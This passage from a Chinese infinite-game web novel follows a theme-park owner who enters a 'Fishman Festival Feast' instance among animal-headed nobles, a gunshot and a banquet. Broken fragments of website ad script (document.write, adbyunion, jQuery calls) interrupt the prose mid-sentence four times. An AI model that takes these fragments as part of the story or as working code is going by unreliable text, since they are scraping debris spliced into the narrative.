【该玩家未如实告知身体状况,导致其在游戏中受惊晕倒呕吐,本游乐园将吸取教训,在每场游戏前都再三告知其他玩家,切勿学习该玩家,以此为戒!】 嗯,我可真是个宽容的良心园长。 她给自己泡了桶泡面当早午饭,为了赚生活费,她已经很多年没有睡到自然醒了。 没想到死过一次反倒实现了懒觉自由。 迷雾乐园的自然风光很好,明明是六月,却不是很热。 晒在人身上刚刚好。 她点开光屏中的论坛图标,继续吃起昨天没吃完的瓜来。 游戏论坛会自动使用代号登录,没有马甲功能,所以瓜也格外香。 她也没想到,原来人在极限状态下是会发癫的。 什么在生死危机前红白玫瑰二选一啦,什么一进游戏就追着BOSS告白,完全不顾BOSS是个八十岁高龄的老爷爷啦,什么脚踩十八条船而不翻的娇软美人啦……应有尽有! 恍惚间她还以为自己在看某绿色小网站。 当然,论坛里也不全是瓜,也存在许多有用的信息。 迷雾游戏是十年前的某天忽然降临的,神明在各地选中幸运的神之子们,将他们与门匙绑定,赐予新生。 玩家间没有什么共同点,男女老少,职业不一,似乎真的是随机选择。 唯一一致的,便是所有人都曾死过一次,并且在死前以各种方式触碰过门匙。 郝荨呼啦呼啦往嘴里扒面,点开了巴别塔之歌的另一个帖子。 巴别塔之歌——游戏里最大的玩家聚集地,以攻略出得又快又好而闻名。 现任会长代号“暴君”,游戏进度已经推到了SS级副本,据说有望成为第一个通关的玩家,也正因如此,所有普通玩家做梦都想进她的团队。 这些离郝荨这个新手还太远,三天的休息时间一晃而过。 郝荨百无聊赖地躺在床上,三天,三天啊! 除了徐知他们,竟然再也没有出现过一个游客! 她点开游乐园面板: 【门匙:迷雾乐园】 【天赋:资本家】 【游乐项目:1】 【员工:5】 【游乐园资金:100174.8(元)】 郝荨痛哭流涕,怎会如此! 她还花了两百块买水军,想看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看能不能炒点热度出来。 也不知道是她钱花少了还是怎么的,总之,连骂她骗子的人都没了! 她头晕目眩,也不等夜里十二点了,直接进了迷雾大厅。 血月轮转。 郝荨还没站稳,就被嚎哭声震住。 “我不要进本啊呜呜呜——” 一个中年女人瘫软在地,哭声刺耳极了。 “我都这么大年纪了,玩不来你们这种小年轻的东西!求求你们,求求你们放我走吧!!!” 她想要站起,手脚却没有力气,只能一点点爬向十三。 没有人去帮忙。 所有在大厅喝酒聊天的玩家都冷漠地望着她,像在看一个死人。 十三的马甲被拽住。 “他们…他们都死了!跟我一起进去的,小王、小李……他们都死光了!我不想死!求求你,放了我吧!我孙女才刚出生,离不了人啊啊啊……” 字字泣血,哭到喘不过气。 “好可怜……”一个玩家小声说。 端着啤酒杯的红鼻子络腮胡冷笑:“可怜?她可怜什么?又不是神明让她死的,给机会不中用——要我说,她还浪费了其他人的名额呢!” 郝荨皱了皱眉。 她刚要上前,却见十三轻松将她的手捏起。 硕大的黑山羊头颅低下,黄金般的瞳孔盯住那个哭得上气不接下气的玩家: 【确定——要放弃游戏吗?】 “确定!我确定!” 女人双眼亮起:“我能走了吗?!” 【当然。】 十三抬起手,打了个响指。 一杯黑色的酒液出现在她手中。 【喝下它,你就能“走”了。】 女人忽然有些犹疑:“我、我喝完……还活着吗?” 黑色的山羊露出一个诡异而温柔的微笑: 【当然。】 听到这句保证,女人忙不迭接过杯子,那杯酒味道很恶心,酸臭、腐朽,但她还是努力吞咽。 “咕咚、咕咚……” 喝着喝着,她的脑子渐渐糊涂起来。 喝了几口了?还没有喝完,是不是她喝得还不够…… 不够…… 不够…她还要更多…… 更多! 郝荨脚步顿住,那女人拼命将自己往杯子里塞去。 杯子不过手掌大小,无论如何都塞不进一个人类,可她还在往里塞。 更恐怖的是,她的身躯开始扭曲融化,缓慢而顺滑地“流”进酒杯—— 化作了一杯闪着星光的黑色酒液。 酒杯飘到十三掌心,低头嗅闻。 似乎很满意,她眯起眼睛,将酒杯放入了占满整面墙的酒柜中。 向上看去,酒柜仿佛没有止境般无限向上延伸。 【你将“活”在神明的光芒中,与神明永存。】 郝荨忍不住吞了口口水。 见十三的视线望过来,她脚步生硬一转,绕过吧台进入了副本通道。 郝荨心乱如麻,手刃“周志强”时她没有手抖,因为那是BOSS、是鬼怪、是……异类。 她告诉自己,这只是场游戏,就跟她打过的任何一场游戏没有区别,只要通关这场漫长的游戏,生活就能回到正轨。 但刚刚那个玩家却和她一样,是生活在平凡世界里的普通人。 她真的还能回到现实吗? 郝荨强迫自己集中注意力。 【低阶副本抽取中——】 【抽取成功。】 【玩家即将进入D级副本:鱼人节盛宴。】 尖叫声在她耳边爆开,她忽的想起游戏守则。 如果只有赢家才能获得一切,那么这个赢家——一定是她。 12. 鱼人节盛宴01 【欢迎来到迷雾游戏。】 漆黑的会议室中摆着一张白色圆桌,雕刻着漂亮的海浪形暗纹,桌边放置着七张皮椅,一一对应着桌上的动物面具。 圆桌后的转移丝滑转身,露出上头坐着的……“人”? 那“人”浑身上下被黑色斗篷包裹,让人忍不住想要窥探斗篷下的它究竟是什么模样。 【欢迎来到D级副本[鱼人节盛宴]。】 【我是本关卡的看守者,编号007。】 【请玩家选择面具。】 007双手摊开,做出了个请随意的动作,郝荨目光望向桌面上摆着的七只动物面具,分别是河马、吉娃娃、天鹅、刺猬、花豹、企鹅和——羊驼。 她半点不带犹豫地走到最后一张椅子上坐下。 毕竟,谁能拒绝一只会吐口水的羊驼呢? 郝荨边戴上面具边听007导入,她微微皱眉,这面具像是没洗干净,有一股淡淡的海腥味。 【玩家选择身份:驼驼小姐。】 【今天,驼驼小姐从自己八百平米的大床上醒来,在床头发现了一张散发着神秘香味的邀请函,信中写道:诚邀尊贵的驼驼小姐来黄金海岸出席一年一度的鱼人节盛宴——来自万分想念您的故友。】 【游戏目标:存活,直至最终章。】 下一刻,水花四溅,一股巨浪从四面八方涌现将她吞没—— 天杀的!她不会游泳!!! * 好安静…… 眼前是模糊的白色光团,耳边一片寂静。 意识渐渐脱离身体,向上飘去,时间变得格外慢。 她在哪? 仿佛有什么在轻柔地挤压着她的身体,逐渐的,她连温度也感知不到了。 【园……园长……】 园长是谁? 这声音听起来闷闷的,时断时续,信号不稳定得就像来自另一个星系。 【检测玩家“园长”濒临死亡,神使启动清零程序……清…清零……】 突然,一道刺耳的嗡鸣声破开水雾在她脑内炸开! 【园长!你可不能死啊园长!你死了我可怎么活啊园长!】 【园——长——】 海水猛地涌入郝荨口中,身体总算有了反应。 她手脚慌乱地摆动四肢想要向上浮起,却怎么都不听使唤,直直往下沉。 神使还在她脑袋里大哭,天知道它怎么用那没有声调起伏的机械音喊出感情的! 肺部残存的最后一点空气也消失殆尽,这下才是真的要死了! 她用尽最后一点力气在脑内疯狂大骂垃圾神明和垃圾游戏,顺带还骂了神使和给她差评的钱季铎,最后又骂了害她陷入这种境地的凶手和当初脑子进水跑到荒郊野外面试的自己…… 直到一只温热的手臂揽住了她的腰。 恍惚间,她仿佛看见了一张苍白又带有一丝熟悉的脸。 他的眼睛被气泡遮蔽,漆黑的短发在水中摆动起伏,与她的长发纠结在一起。 再一眨眼,那张脸又消散在了气泡中。 取而代之的,是一颗……刺猬脑袋? 郝荨:! 刺猬会游泳吗?! 没过几秒,这只刺猬就伸出她有力的胳膊,一把勒住了她的脖子。 ……她真的还可以抢救一下! 好在刺猬是只好刺猬,很快,她就被救上了岸。 她不受控制地剧烈咳嗽着,见缝插针地呼吸着新鲜空气。 咳嗽时,似乎总有一股目光若有若无地看着她,像是在探究着什么。 她抬头望去,却只能看到那位刺猬小姐撇开的侧脸。 “咳咳,谢谢你。” 刺猬没有说话,只是望着自己身上穿着的公主裙发呆。 郝荨不动声色地打量着她,这位刺猬小姐动物头人形身,身材娇小,比她还要矮上大半头。 她穿着粉色的礼服裙,脖子手腕上都挂着名贵的珠宝,家世不俗。 头顶的刺并不坚硬,还透着柔软的粉色,与这片金色的豪华沙滩相得益彰。 海水泛着沁人心脾的蓝,是真正的碧蓝海域。 她低下头看去,几乎能看清海面下五彩斑斓的珊瑚礁,就像是童话故事里才会有的那样—— 怎么有个羊驼?! 她疑惑地蹲下,这只羊驼有着长长的卷翘睫毛,睫毛下扑闪着一双又圆又大的眼睛,眼睛波光闪烁,眼圈微红,又可怜又可爱。 它甚至还穿着一条剪裁精良的蓝色绸缎礼裙,将她的腰肢衬得纤弱无比。 郝荨看了一会,沉默地闭上眼。 哦,原来这个可怜又可爱的羊驼是她自己。 她感到心脏一阵刺痛,选面具的时候可没想到,她居然真的会变成一个拥有羊驼脑袋和人类身体的……人驼。 “驼驼小姐——啊!” 郝荨抬起头,只来得及看到一个残影咕噜噜滚了过来,恰好停在自己身前。 那道残影晕晕乎乎地爬起。 她穿着朴素的白色衬衫和牛仔裤,脑袋毛茸茸,还有着圆鼓鼓的两腮,是一只漂亮的奶茶仓鼠。 她眯着眼睛在地上四处摸索,嘴里小声念叨:“眼镜……眼镜……” 金黄色的沙滩上金属反射的光芒异常显眼,除了她刚刚掉落的眼镜外,还有一枚被摔开的老式怀表。 郝荨忍住想rua她脑袋的冲动,弯腰捡起两样物品。 表盘里放着一张陈旧相片,是两只可可爱爱的幼崽仓鼠,其中一只仓鼠戴着圆框眼镜,做着鬼脸,而另一只神色惊慌地要去抢夺眼镜,厚重的书本被抛在空中。 拍摄这张照片的人一定充满爱意,看得她尸斑都要淡了。 她将物品递过去,得到了一个惊喜的笑容。 仓鼠女孩忙不迭地鞠躬道谢:“谢谢驼驼小姐!” 照理说被可爱妹妹道谢她应该很开心—— 如果对方道谢的方向是她的话就更好了。 “我是鱼人圣歌号的管家,你们叫我小仓就好。” 小仓戴上眼镜,又把怀表塞好,她忽觉不对,凑近眼前的“驼驼小姐”仔细嗅闻—— “啊!原来刺猬公主也在!正好,两位请随我来!” 小仓费力提起被海水冲上来的行李箱,跌跌撞撞的同时还不忘小声说:“小吉少爷已经到了,他带了几个女孩上船……嗯,那些女孩个顶个的特别呢!” 她被沙滩上的贝壳绊倒,摔了一跤。 小仓不在意地晃晃脑袋,沙子溅了郝荨一脸。 郝荨:…… 她把脸上的沙子抹掉,不然,还是她自己来拿箱子吧! “当然,肯定是比不过驼驼小姐的!毕竟驼驼小姐是我们动物王国的璀璨明珠呢!” 金黄色的沙滩上有许多人来来往往,游客们在帐篷里进出,小商贩在热闹地叫卖着: “瞧一瞧看一看啦!鱼人节新品‘噗噗捏捏好喝到八爪夫人流泪奶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 茶’限定推出——” “先生,买束花吧!” “吃饭吗小姐?我们这儿新上了鱼人传说同款美味汉堡,灰马总裁吃了都说好!” …… 除了大家都顶着一颗动物脑袋外,这里和其他度假海岸没什么两样。 一行扛着金属架子的猿猴走过,小仓被限定奶茶吸引了视线,一时没注意,只听“砰”的一声,和猿猴撞在了一起。 金属架子滚落在地,郝荨连忙把她扶起:“我自己来吧。” “不用不用!”小仓连忙拒绝,“我、我可以的!” 刺猬公主回过神,一手一个提起行李箱。 就像提了俩包子般轻松。 小仓收起要脱框而出的眼珠,公主这么……这么厉害吗?! “你没事吧?” 为首的猿猴队长走了过来:“不好意思啊,我们急着去搭建舞台,实在赶时间。” 小仓和对方好声好气告别后介绍道:“我们一会儿有鱼人节舞台剧的首演,驼驼小姐和刺猬公主感兴趣的话可以去看看哦。” 几人来到码头,鱼人圣歌号是一艘游轮,不算很大,却异常豪华,船的两侧各有一只巨大的眼睛,阳台延伸出来,就像是一只漂亮的大型八爪鱼。 这艘船上有很多服务人员,他们都穿着整洁的白衬衫,胸口别着自己的职位和名字。 每个见到她的人都会扬起一样的标准微笑,亲切地弯腰:“欢迎驼驼小姐和刺猬公主参加盛宴。” 郝荨从一开始的受宠若惊到累了毁灭吧的生无可恋,也不过就是从甲板来到三楼套房这段距离而已。 套房很符合这艘游轮给她的印象,金碧辉煌,阳台上甚至自带一个无边泳池。 她和这位刺猬公主的房间恰好对门,小仓为她们介绍完设施后便先行告退。 郝荨打开行李箱,这只箱子很防水,里头的东西只略打湿了一些,她把各色衣裙一一挂好,取出了那封题目中的邀请函。 和007说得一模一样,这封邀请函上有一股奇特的香气,很鲜,还带着一股淡淡的海的味道。 她的口中开始分泌唾液,好饿。 “咚咚咚。”门被敲响。 “请进。” 一只萌萌的仓鼠脑袋挤进门缝中。 小仓的嘴里鼓鼓囊囊,她不好意思道:“驼驼小姐,我忘记说啦,您现在可以下船随意逛逛,只要在五点鱼人圣歌号下水前回来就行,盛宴会在下水后开始。” “好,我知道了。” 小仓将门关上,郝荨走到门口拿起屋内自带的平板电脑,正要输入“驼驼小姐”四个字,门被再次敲响。 “又忘了什么啦?” 她打开门,门外却空空如也,长长的走廊中半个人影也无,地上摆着一盘又大又圆的紫色葡萄。 这葡萄不是什么昂贵的品种,但看起来非常新鲜。 “吸溜……一定很好吃,果肉鲜嫩多汁,味甘而回甜。” 郝荨取下一颗放入口中,果然和她脑海里出现的一模一样。 她忽然一怔,自己以前吃过这种葡萄吗? 郝荨将葡萄端回房间,进入这场游戏后她就一直有些奇怪。 这场游戏和上一场的【兔子之家】氛围完全不同,她就像是真的进行了一次旅游度假,每个NPC看起来都正常得很,毫无危险。 而这只能说明要么危险会来得猝不及防,要么—— 危险已经来到了她身边。 13. 鱼人节盛宴02 嘈杂的沙滩上正排演着一出舞台剧。 一群叛逆的年轻人偷偷将船开到海上举办派对,却不想海面突然起了雷暴,等到雷暴退去,他们不止遗失了自己的物资,还失去了回家的方向。 茫茫的大海上,他们饥肠辘辘、痛哭流涕地祈求着谁能够拯救他们,为此,他们愿意付出自己所拥有的全部东西。 就在快要绝望时,他们发现了一座小小的海岛。 这座海岛属于鱼人族的领土,岛上住着善良穷困的八爪一家。 八爪先生问其中一位年轻人:“我可以帮你捕鱼,但我可怜的女儿出生后还从未见过光明,你是否愿意用你的眼睛来换取大家饱餐一顿?” 这位年轻人看着虚弱的同伴,流着泪同意了。 八爪先生是个勤劳的捕鱼人,当他回来时,船上装载了半船鱼,这一晚,被困住的年轻人们终于睡了一个好觉,不用再受饥饿的困扰。 可好景不长,依然没有获得拯救的他们再次找上了八爪一家。 八爪夫人询问其中一位年轻人:“我可以将种植的蔬果给你们,但我可怜的女儿还在饱受病痛的折磨,你是否愿意用你的健康来换取大家不被饿死呢?” 年轻人痛苦地同意了。 八爪夫人非常善良,她产出的果子又大又好,看着健康活泼的女儿,她将自己所有的蔬果都给了这位年轻人。 可拯救依然没有到来,这次出面的是八爪小姐,她天真地问道:“我可以帮你们指引回家的方向,只是需要有人向神明献出自己的生命,是否有人愿意奉献自己呢?” 经历过这一切的年轻人不再叛逆,他们纷纷表示愿意牺牲自己,八爪小姐满意地笑了,她用力切下自己的一条触手,一阵刺目的白光将他们笼罩住,年轻人们纷纷闭上了双眼。 “你们已经向我证明了自己的真诚与善良,希望你们永远不会忘记这一点。” 说完,八爪小姐的身影随着白光一起消散。 盲眼的年轻人恢复了视力,虚弱的年轻人也恢复了健康,遗落的触手肉质粉嫩,散发着无与伦比的美味香气,饥饿的年轻人们纷纷吃下。 在他们吃下的瞬间,浓雾消散。 而这时,他们才恍然发觉,黄金海岸其实就在他们身后。 舞台上的演员们手牵着手,一起跳着庆祝的舞蹈,大声唱着歌: “噢,善良的八爪一家。” “他们是灯塔,是月亮,是神明的牧师。” “他们为走错路的羔羊带来美味的饭菜与祝福。” “赞美善良而真诚的八爪一家!” 舞台下,郝荨兴致勃勃地看戏,她嘴里塞得满满当当,一手拿着那杯“噗噗捏捏好喝到八爪夫人流泪奶茶”,另一手拿着巨无霸汉堡,汉堡里夹着的据说是鱼人传说中的同款八爪鱼。 味道不错,她还打包了几份拎在手中。 或许是动物王国和现实世界不同,这里许多东西都很有意思,她看着亲自带货的熊猫姨姨,刚想尝试一下她推荐的竹液面膜。 一只手忽然从背后伸来,将她一把推进帐篷之中。 郝荨立刻回身,不远处有只企鹅正低着头和谁吵架,所有人都在向那里张望,似乎没人有嫌疑。 她迟疑地打量起这间帐篷,这里外表看着灰扑扑的,毫不起眼的样子,内里却是别有洞天。 帐篷内壁挂着各种式样色彩艳丽的花哨羽毛和贝壳,玻璃瓶里放着她认不出的诡异材料,一个看不清颜色的大锅正在咕嘟咕嘟冒泡,地上铺着脏兮兮的绒毯。 门帘掀起,一个人影走了进来。 “瞧瞧,我们有一只迷路的羔羊。” “叽叽。” 来人披着一件深紫色的披肩,乱蓬蓬的灰白长发胡乱地缠在脖子上,肩头立着一只只会叽叽叫的长尾鹦鹉。 这是一位身材高大的缅因猫女士。 她将单片水晶眼镜戴起:“你想算些什么呢?” 郝荨眼前一亮,她凑上前去,满脸虔诚道:“大师,我想算算我什么时候才能暴富!” 缅因猫女士抚摸上水晶球,球体散发着微光,仿佛星辰流转。 郝荨有些着迷地凝视着这颗球体。 忽然,球体发生了变化,星辰散落,雷电显现,无数乌云遮蔽了那片天空。 “叽叽!” 缅因猫女士吓了一大跳,她立刻松开手,金黄色的瞳孔竖起,神色震惊。 “你……” 郝荨迷惑地望回。 鹦鹉慌乱地在她肩头跳来跳去,这位女士缓和下炸起的毛发,轻轻地拍了拍它,摇摇头道:“亲爱的,我恐怕你这辈子都发不了财。” “叽!” 郝荨:…… 骗子! 她愤怒起身,身后却传来了这个装神弄鬼女巫的声音: “命运的迷雾已经来到,旧日即将重启,请注意,在最后的选择到来之时,你需要仔细聆听神明——” “铛——” 巨大的钟声响彻天际,郝荨下意识回头。 海岸边已经站满了欢呼的游客,连小摊贩都纷纷往那里赶去。 时间到了。 “你刚刚说什么——” 郝荨回过头,讶然发现这间帐篷已然变了个模样,内壁上挂着的艳丽羽毛遍布灰尘,蜘蛛网肆无忌惮地在它们中间扩张,锅内空无一物,灰尘堆积在桌上,水晶球黯淡无光,就像是已经废弃多年一般。 除了那条跌落在地的紫色披肩。 她伸出手去,披肩还残余着些许温度。 【“众神的怜悯”已使用。】 这是游戏的提示? “驼驼小姐!” 帐篷外传来小仓的喊声,郝荨抿了抿嘴,走了出去。 见她出现,小仓立刻冲了过来:“驼驼小姐,鱼人圣歌号要下水了,我们得快些回去!” 她紧张地揉着自己鼓鼓的脸颊,急得直跺脚。 两人紧赶慢赶总算是赶回了游轮,甲板上到处都点缀着鱼人节装饰,可爱的八爪鱼触手气球飘飘荡荡,就连泳池内壁都贴满了八爪鱼的表情包。 泳池边上很是热闹,每位客人都有十几位侍应生服侍。 沙发上大喇喇坐着一个身穿白色西装身材庞大的河马,这位先生在吨吨喝着郝荨同款奶茶,他身旁的单人沙发上还有一位神色傲慢正在擦手的天鹅先生,两人不时地聊上几句。 花豹先生局促地站在两人身边,神色谄媚却憔悴,身体看着也不大好的样子。 角落里一位身穿三件套披着大衣气势惊人的企鹅正在打电话,他只有一只眼睛,另一只被皮质眼罩遮掩着,嘴里叼着雪茄,身材健硕,转身时腰上似乎有什么银光一闪而过,就连侍应生都只敢远远候在一边。 刺猬公主从通道中走出,她还是穿着那条泡过水的公主裙,行走间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 裙摆下似乎穿了裤子,鞋子也换成了方便的靴子。 她皱着眉,看起来有点不太舒服。 另一拨人紧跟着她来到了甲板上。 身穿白色衬衫的侍应生紧紧包围在一起,包成了一个圆圈,圆圈内部是几位……妙龄女郎? 郝荨盯着那几位衣着清凉气质迥异的女性,怎么也挪不开眼。 狐狸和山雀也就罢了,美女蛇她也能忍,但是…… 怎么会有人泡蟑螂啊! 她看着那位身穿黑色高开叉长裙的蟑螂女士,瞳孔地震。 这几位女郎带着扑鼻的香水来到她的身边,一道陌生男声响起: “哟,这不是我们美丽的王国明珠——驼驼小姐吗?” 侍应生和几位女士如波浪般散开,露出了里头的那位……吉娃娃。 郝荨看着他不超过一米四的身高,她试探道:“小吉少爷?” 小吉少爷推开靠在他身边的众多美人,向她走近。 郝荨顺着他的走动缓缓低下脑袋与他对视。 小吉少爷高昂着头,“微不可察”地踮起脚尖,她疑惑地挑起眉。 小吉少爷:“……” 他再次试着垫脚,然后气急败坏道:“低下你高贵的头颅!” 在屋里时,她用平板搜索过“驼驼小姐”这个名字。 简单来说,这个身份拥有贵族头衔,是动物王国桂冠上最璀璨的明珠,以美丽纤弱而闻名上流社会。 驼驼小姐有几个同在贵族圈的发小,小吉少爷就是其中之一,是个很有名的网红阔少,每天不是在和不同的美人游玩就是在毫不留情地炫富。 好巧,她最讨厌炫富的,尤其讨厌炫富还不给她打钱的。 于是她眉头一蹙,柔弱道:“不能低头,王冠会掉。” 她摸上头顶别着的钻石小王冠,补充道:“这可是我们驼驼家族荣耀的象征,请恕我无法从命。” 小吉少爷:“……” 那不是今年奢侈品新款吗? 还是灰马总裁旗下珠宝公司的,光这个月他就买了五顶,其中一顶现在正在他的新甜心蟑螂女士头顶! 小吉刚想发火,却被那颗漂亮又可爱的羊驼脑袋晃了下神。 算了! 他深吸一口气,聪明的侍应生连忙搭建起人桥,将他扛起。 这次,郝荨纡尊降贵地侧过脸去。 小吉凑到她耳边开口:“你知道灰马那家伙这次为什么非要大家来参加盛宴吗?” “你知道?” 小吉冷笑一声:“还能为了什么?!我看他是疯了,明明知道这里……” 他含糊了几句,继续说:“总之,这次盛宴恐怕不会太平,你——” 小吉望着她纤长的睫毛和雪白光洁打着小卷儿的脖颈,逐渐心猿意马,眼神越来越放肆。 “借过。” 刺猬公主径直从两人中间走过,她声音很轻,行动却很莽撞,小吉少爷被重重撞落。 小吉少爷吓了一跳,被七手八脚扑上来的侍应生接住才松了口气。 “你!算了,下次小心点!” 优秀的绅士可不会欺负淑女。 小吉自感大度,指了指驼驼小姐道:“你也小心点。” “叮——” 清脆的杯子敲击声响起。 小仓站上台子:“各位贵宾,鱼人圣歌号下水典礼正式开始啦!” 14. 鱼人节盛宴03 “感谢、呃…感谢诸位贵客赏光参加我们HIPPO集团举办的鱼人节盛宴,十呃、十五年前,我们的总裁灰马先生在黄金海岸度假时有了一个绝妙的主意,他决定…嗯!决定亲手创造一个传说。” 小仓似乎有些紧张,她结结巴巴地背着词。 “而十五年后的今天,我们都知道…他的这个决定大获成功,而诸位登上的这艘鱼人圣歌号,便,便是我们集团最新的旅游项目——寻找传说中的鱼人岛!” 她汗流浃背地背完词,稍作停顿,等待理应会有的掌声,可台下的贵宾们都各做各的事,没人在意她这个小喽啰。 甚至灰马总裁这个主办人都没有给她一个眼神,只有郝荨捧场地拍了拍手。 她审视着在场的宾客,七位,与007让她选择的面具恰好对上,看来这些就是本场游戏的重要角色了。 只是不知道,这里头有没有玩家? 她回忆着在平板上看来的内容,这位灰马总裁曾经是出了名的叛逆富二代,却在十五年前洗心革面摇身一变成为了别人家的孩子,接手家族企业后集团逐渐壮大,如今已经是动物王国的首富。 与他站在一道的天鹅是国立医院最年轻的园长,年轻有为,气质高冷,年年荣获名媛最想嫁排行榜No.1,两人正面色严肃地交流着什么。 一旁的花豹是隔壁小国的王子,他的母亲是动物王国国王的妹妹,自小便在这里长大,他堆着笑与灰马总裁和天鹅院长搭话,却被这两人有意无意地忽略。 王子有些尴尬地退到角落,笑意渐隐,眼神死死盯着总裁和院长,眼神泛着冷意。 “咕噜噜……” 郝荨捂住肚子,怎么又饿了。 台上的小仓还在绞尽脑汁地介绍这趟寻找之旅,她吸了吸鼻子,闻到了一股熟悉的香味。 和邀请函上的一样。 这味道夹杂在咸咸的海风中,稍不注意就会被忽视掉。 “废话说够了吗。”低沉的男声从众人身后传来。 来人身上的大衣被风吹得呼啦作响,他穿着正式的三件套,将雪茄随手摁在侍应生手上,手都被烫红了那侍应生也不敢发出一点声音。 他一走近,在场所有人都绷紧了神经。 ——只有刺猬公主迟钝地打着瞌睡。 这就是动物王国黑暗世界的帝王,阿德利教父。 小仓被吓得炸成一朵蒲公英,支支吾吾说不出话来。 阿德利优雅地笑了:“既然大家都没有意见,那不如我们直接开始盛宴?” 这位教父声音丝滑又优雅,隐含的气势却不容任何人忽视。 “可、可是……” “没有可是。” 他慢条斯理地整理袖口,语气不容辩驳。 小仓可怜兮兮地望向灰马总裁。 总裁却反倒走到阿德利面前,寒暄道:“阿德利,好久不见。” 教父看了他几秒,指向台上的小仓:“你这个员工,我不怎么喜欢。” 小仓发出一声极力压抑地惊吓声,眼圈红了。 “哈哈哈,”总裁猛吸一口奶茶,爽朗道,“既然你不喜欢,明天我就开了她。” “呵。” 小吉少爷推开缠住他的蛇美人,从沙发上跃下,一脸不爽。 “阿德利,你在这儿耍什么威风!” 他跟变戏法似的在胸口一摸,变出一朵玫瑰花来,手举得高高跳着递给小仓:“给我个面子,让这位可爱的小美人干完她的工作。” 小仓后退一步,泪水夺眶而出。 小吉少爷:“……” 没关系,清纯可爱的美人总是有特权的。 他状似不在意的将花收回。 阿德利冷笑:“蠢货。” “你说我蠢?!刚在沙滩上我不跟你一般见识,你还以为我小吉少爷好欺负?!”小吉勃然大怒。 沙滩?郝荨恍然,原来刚刚吵架的就是他们。 “你是这艘船上最蠢的蠢货。”阿德利一字一句道。 小吉跟炮仗似的一下扑到阿德利身上吠叫着扑打他。 阿德利不愧是教父,力气极大,可小吉仗着体型小,敏捷地在他身上乱爬,一时居然也没被抓到。 阿德利也起了火气,他甩掉大衣,怒骂着小吉,把小吉小时候就偷看隔壁小姐洗澡的事大声说出。 小吉一口咬住阿德利,汪汪叫着反骂他是个忘恩负义的独眼龙,小时候打人都是他帮忙善后! 有次把人打到半身不遂,要不是他找到了对方的把柄,阿德利早就进监狱了! 两人互相揭短,灰马总裁试着想要调解,却反被误伤。 天鹅院长早在看见他们打起来时就已经躲到了人群最后,他皱着眉掏出消毒液将露出的皮肤仔细清洁干净。 郝荨一一望去,每个人的表现都很正常,刺猬公主终于被吵醒,此刻正皱着眉望着这里。 至于花豹王子早已躲到了栏杆最边上,他口中念念有词,不知道在说些什么。 或许是她盯着对方看的眼神太过明显,王子闭上嘴巴,躲开了她的视线。 阿德利从腰间拿出手木仓,朝天放了一木仓。 “砰!” 甲板上瞬间安静下来,可下一秒,小吉像是被踩了尾巴般尖叫道:“你居然敢对我开木仓!!!” 他不敢相信地看着阿德利。 阿德利皱眉,刚想说些什么,小吉却再次再次扑了上来,他毫不犹豫地对准他。 身侧猛地伸出一只手拽开小吉。 “砰!” 小吉身体僵硬,他没想到,阿德利竟然真的会开木仓。 “阿德利。”灰马总裁低声警告,又拍了拍被他拽开的小吉。 而在两人中间,那把手木仓正飘散着一股淡淡的硝烟。 阿德利举着木仓,冷笑道:“还打么?” “咔。” 什么声音? 郝荨望去,甲板的栏杆上出现了一个深深的弹孔。 靠在栏杆上的花豹王子微张着嘴,整个人呆住。 “咔嚓。” 栏杆断裂,花豹王子眼睛逐渐睁大。 他伸出手去想要拉住什么,却什么也没碰到—— 不。 有一只手忽然出现,那只手带着洁白的蕾丝手套,柔弱又纤细,却用尽全力拉住他。 郝荨身体挂在栏杆上,因为用力她的脖子通红。 好重! 她努力想把人拉回,但花豹还是滑了下去。 下一秒,另一只洁白的手掌将她包住。 明明五指纤细,却带着一股无法抵抗的巨力——是刺猬公主! 两人一道将花豹王子拉了上来。 郝荨喘着气,正想控诉船的质量问题,却发现宾客们神色自如,似乎对这场意外毫不在意。 “……不是,你们都不在意吗?这可差点死人了?” 阿德利收起木仓,在侍应生的辅助下披回大衣, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然后才回身看向郝荨道: “我只是践行了动物王国的最高法则——” 他朝郝荨行了个优雅的绅士礼。 “下位者为上位者的养料,输家为赢家的血肉,弱肉强食,不过如此。” 船上的其他人也跟着行礼,就连小仓也弯下腰,自然道: “弱肉强食,不过如此。” 郝荨打了个颤。 海面上还是太冷了。 刺猬公主将视线投向她,眼神微动。 “好了!” 灰马总裁手掌一拍,吸引了众人视线。 “既然大家都不耐烦,我们的介绍环节就到此为止吧!” 他摸了摸肚子,笑道:“正好我也饿了,小仓,你去准备一下,我们开始盛宴吧!” 大家纷纷跟随他前往宴会厅,王子诡异地盯着郝荨看了半天,突然开口问道: “为什么救我?” 薄薄的蕾丝手套在救人时被扯破,郝荨摘下手套随意递给侍者道:“想救就救了。” 但王子还是用那种探究又诡异的眼神看着她:“可是,我死了——” “——最开心的不应该是你吗?” * 宴会厅。 副本名既然叫鱼人节盛宴,那这盛宴上必然会发生些什么。 郝荨强行把自己从王子那句语焉不详的话语中抽离。 这座宴会厅一看就花了大价钱,墙壁上绘了精致的壁画,层层的海浪迭起,如梦似幻,仿佛真的身处波涛之中。 壁画上画着的正是鱼人节的由来。 多年前,一艘游轮意外遇险被鱼人族的八爪夫妇所救,在他们的指引下,纷纷学会了善良与奉献,最终得到了神明的指引与救赎。 小仓站在灰马总裁身后,指引着侍应生们上菜,灰马总裁端起酒杯,杯中的酒液是漂亮的蓝色,他开口道: “敬我们易如反掌的人生!” 盛宴开始,一道道颜色各异的美食被端上。 灰马总裁率先动手,他一手持刀一手拿叉,卷起前菜的沙拉就往嘴里送,几乎见不到吞咽的动作,只短短几秒,他面前就多了三个空盘子。 给他送菜的侍应生比其他人加起来还要多,忙得脚步打滑。 见其他人也开始品尝,郝荨放下心来送入口中。 只是不知为何,每道菜都是蔬菜,莫非是动物王国的贵族传统? “灰马,你搞什么??怎么全是草?!”小吉少爷第一个拍案。 阿德利拿起餐巾擦拭了一番嘴角:“集团破产了么?看在往日情分,我可以给你提供一份工作。” “哈哈哈,不要心急嘛!” 灰马总裁停下暴风吸入的动作,解释道。 “相信大家都听说了,我的捕鱼船刚刚打捞上来一条从未出现过的大鱼,最重要的是——” 